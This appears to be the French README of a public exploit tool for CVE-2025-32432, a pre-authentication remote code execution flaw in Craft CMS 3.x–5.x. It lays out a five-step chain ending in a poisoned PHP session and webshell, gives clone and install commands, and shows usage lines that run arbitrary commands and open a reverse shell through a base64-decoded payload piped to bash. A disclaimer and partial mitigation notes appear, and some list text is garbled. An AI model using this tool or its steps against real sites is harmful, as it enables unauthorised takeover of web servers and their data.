Exploit RCE pré-authentification fiable pour CVE-2025-32432 sur Craft CMS 3.x/4.x/5.x, fonctionne là où les autres PoC publics échouent
Auteur : P34NUT2
Vulnérabilité : Exécution de code à distance (pré-authentifiée) dans Craft CMS
CVE : CVE-2025-32432
Cible : Toute instance Craft CMS vulnérable (3.x / 4.x / 5.x) — testé sur Hack The Box : Orion
Cet outil est fourni strictement à des fins éducatives et de tests d'intrusion autorisés dans des environnements contrôlés tels que Hack The Box, TryHackMe, ou des laboratoires privés que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
L'utilisation non autorisée de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale en vertu du Computer Fraud and Abuse Act (CFAA), de la directive de l'UE sur les attaques contre les systèmes d'information, et des lois équivalentes dans la plupart des juridictions dans le monde.
L'auteur n'assume aucune responsabilité pour tout usage abusif, dommage ou conséquence juridique résultant de l'utilisation de ce logiciel. Utilisez-le de manière responsable et éthique.
La plupart des PoC publics pour CVE-2025-32432 échouent contre des cibles réelles comme HTB : Orion en raison de :
&, , )><Cet exploit a été développé à partir de zéro pour résoudre ces problèmes de fiabilité. Il gère correctement l'encodage d'URL, automatise l'extraction dynamique des jetons, et utilise des pipelines de wrapper Base64 pour parvenir à une exécution fiable contre toute instance Craft CMS vulnérable — validé contre des déploiements réels et prouvé sur HTB Orion.
| Étape | Action | Description |
|---|---|---|
| 1 | Acquisition de session et CSRF | Extrait CraftSessionId, CRAFT_CSRF_TOKEN, et le CSRF_TOKEN dynamique depuis le point de terminaison d'administration |
| 2 | Découverte de l'ID d'asset | Force brute des IDs d'asset valides requis pour la charge utile de génération de transformation |
| 3 | Fuite du chemin de session | Injecte un objet Guzzle pour déclencher phpinfo() et lire dynamiquement session.save_path |
| 4 | Empoisonnement de session | Injecte une charge utile de webshell PHP encodée en URL dans le fichier de session actif |
| 5 | Déclenchement du RCE | Désérialise la session empoisonnée pour exécuter des commandes système arbitraires |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Option courte | Option longue | Requis | Description |
|---|---|---|---|
-u | --url | ✅ Oui | URL de base de la cible (ex. http://example.com) |
-c | --cmd | ✅ Oui | Commande à exécuter sur la cible distante |
-a | --asset | ❌ Non | ID d'asset valide connu (accélère l'exécution) |
-s | --scan-max | ❌ Non | Plage maximale de force brute des IDs d'asset (Par défaut : 300) |
1. Exécution de commande basique
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. Avec un ID d'asset connu (plus rapide)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Charge utile encodée (recommandé pour les caractères spéciaux)
Pour éviter que les caractères spéciaux ne soient altérés par les parseurs HTTP ou tronqués lors de la gestion de session, encodez votre commande en Base64 avant de la transmettre :
# Étape 1 — encodez votre commande localement
echo -n "YOUR_COMMAND_HERE" | base64
# Étape 2 — transmettez la chaîne encodée via le script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse shell via wrapper Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Si vous êtes un administrateur système ou un développeur utilisant Craft CMS, appliquez les mesures d'atténuation suivantes :
/actions/*) via des règles de pare-feu ou un middleware.Ce projet est sous licence à usage éducatif et de test autorisé uniquement. Voir LICENSE pour plus de détails.